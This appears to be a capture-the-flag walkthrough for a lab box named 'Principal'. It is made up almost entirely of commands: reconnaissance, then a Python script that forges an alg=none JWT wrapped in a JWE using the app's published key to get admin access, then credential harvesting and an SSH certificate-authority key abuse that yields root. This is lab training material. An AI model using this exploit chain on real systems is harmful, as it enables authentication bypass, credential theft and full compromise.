Principal

Full TCP port sweep with service/version detection.

$ nmap -p- -sV -T4 $TARGET
22/tcp open ssh
8080/tcp open http-proxy Jetty

Confirm redirect to /login and read the pac4j-jwt header.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET:8080/

Fetch the login page/form.

$ curl -sS -i http://$TARGET:8080/login

Pull the client bundle documenting the JWE auth flow.

$ curl -sS http://$TARGET:8080/static/js/app.js

Fetch the app's published JWK(S) used to encrypt/verify tokens.

$ curl -sS http://$TARGET:8080/api/auth/jwks

Library used to build the JWE envelope.

$ pip install jwcrypto

Save the key from /api/auth/jwks as jwks_key.json first; prints the forged JWE bearer token.

$ python3 - <<'EOF'
import base64, json
from jwcrypto import jwk, jwe

# 1) unsigned inner JWT (alg=none) with an elevated claim
h = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
p = base64.urlsafe_b64encode(json.dumps({"sub":"admin","role":"ADMIN"}).encode()).rstrip(b'=')
inner_jwt = (h + b'.' + p + b'.').decode()

# 2) wrap it in a JWE encrypted to the app's own published public key
pubkey = jwk.JWK.from_json(open('jwks_key.json').read())
token = jwe.JWE(inner_jwt.encode('utf-8'),
                 protected=json.dumps({"alg":"RSA-OAEP-256","enc":"A128GCM","cty":"JWT"}))
token.add_recipient(pubkey)
print(token.serialize(compact=True))
EOF

The forged token is accepted on the application's authenticated routes; walk them for the internal view that renders stored credentials.

$ curl -sS -H 'Authorization: Bearer <the-forged-token>' http://$TARGET:8080/<an-authenticated-admin-route>

Confirm the harvested credential works.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 svc-deploy@$TARGET id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

Locate and read the user flag; replace output with <user.txt>.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'find / -name user.txt -type f -readable -exec sh -c "printf \"%s: \" \"\$1\"; cat \"\$1\"" sh {} \; 2>/dev/null'

Confirm no passwordless sudo.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'sudo -n -l 2>&1'

Confirm the CA trust configuration and absence of principal restrictions.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'grep -RniE "TrustedUserCAKeys|AuthorizedPrincipalsFile|PermitRootLogin" /etc/ssh/sshd_config /etc/ssh/sshd_config.d 2>/dev/null'

Locate the readable CA private key file.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'find /opt/principal/ssh -maxdepth 3 -type f -readable -printf "%M %u:%g %p\n"'

Generate a keypair on the target and sign it with the CA key as a certificate claiming the principal 'root'. -L prints it back so the principal and validity can be checked before it is used.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'D=$(mktemp -d /tmp/principal-root.XXXXXX); ssh-keygen -q -t ed25519 -f "$D/k" -N ""; ssh-keygen -q -s /opt/principal/ssh/ca -I root-cert -n root -V +52w "$D/k.pub"; ssh-keygen -L -f "$D/k-cert.pub"'

The same remote shell has to mint the certificate and use it: a second ssh invocation is a new shell, where the temporary directory that holds the key does not exist. Authenticate to sshd as root over loopback and read the flag -> <root.txt>

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'D=$(mktemp -d /tmp/principal-root.XXXXXX); ssh-keygen -q -t ed25519 -f "$D/k" -N ""; ssh-keygen -q -s /opt/principal/ssh/ca -I root-cert -n root -V +52w "$D/k.pub"; ssh -i "$D/k" -o CertificateFile="$D/k-cert.pub" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@127.0.0.1 "id; cat /root/root.txt"'
uid=0(root)